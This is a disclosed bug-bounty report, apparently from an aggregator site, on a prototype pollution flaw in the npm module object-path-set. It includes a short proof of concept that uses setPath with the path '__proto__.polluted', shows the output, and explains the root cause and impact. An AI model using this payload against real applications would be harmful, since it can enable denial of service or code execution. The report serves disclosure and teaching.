[object-path-set] Prototype pollution
The object-path-set module allows an attacker to set properties on Object.prototype via a path like __proto__.polluted. This prototype pollution could lead to denial of service, remote code execution, or property injection depending on the application.
- Triaged in 4 hours
- Fixed in 2 months
- Disclosed after 3 months
I would like to report a prototype pollution vulnerability in object-path-set module.
It allows an attacker to inject properties on Object.prototype.
Module
module name: object-path-set
version: 1.0.0
npm page: https://www.npmjs.com/package/object-path-set
Module Description
set values in javascript objects by specifying a path. if the path doesn't exist yet, it will be created.
Module Stats
[81] weekly downloads
Vulnerability
Vulnerability Description
The setPath function can be used to add/modify properties of the Object prototype. These properties will be present on all objects.
Steps To Reproduce:
- install
object-path-setmodule:npm i object-path-set
Set the __proto__.polluted property of an object:
const setPath = require('object-path-set');
const obj = {};
console.log("Before : " + obj.polluted);
setPath({}, '__proto__.polluted', 'yes');
console.log("After : " + obj.polluted);
Output:
Before : undefined
After : yes
Supporting Material/References:
- OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
- NODEJS VERSION: v14.1.0
- NPM VERSION: 6.14.5
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Thank you for your time.
best regards,
d3lla
Impact
The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution, Property Injection.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the setPath function does not block or sanitise special path segments such as __proto__, constructor, or prototype, allowing assignment to Object.prototype.
Impact
The impact depends on the application; in some cases it is possible to achieve denial of service, remote code execution, or property injection.
What the attacker needed
Application uses object-path-set with user-controlled paths
How it was found
- Install the object-path-set module.
- Create an empty object and check that a property like polluted is undefined.
- Call setPath with an empty object, a path containing __proto__.polluted, and a value.
- Check the original empty object again and see that the property now exists.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Prototype pollution is a JavaScript bug where an attacker can add or change properties on the base object that all other objects inherit from. This means every object in the program suddenly gets that property, which can break logic or even let an attacker run code. Here, a library that sets nested values by path did not block special path parts like __proto__.
What is Prototype pollution?
Input changes JavaScript's shared object prototype, altering behaviour across the application, sometimes to XSS or code execution.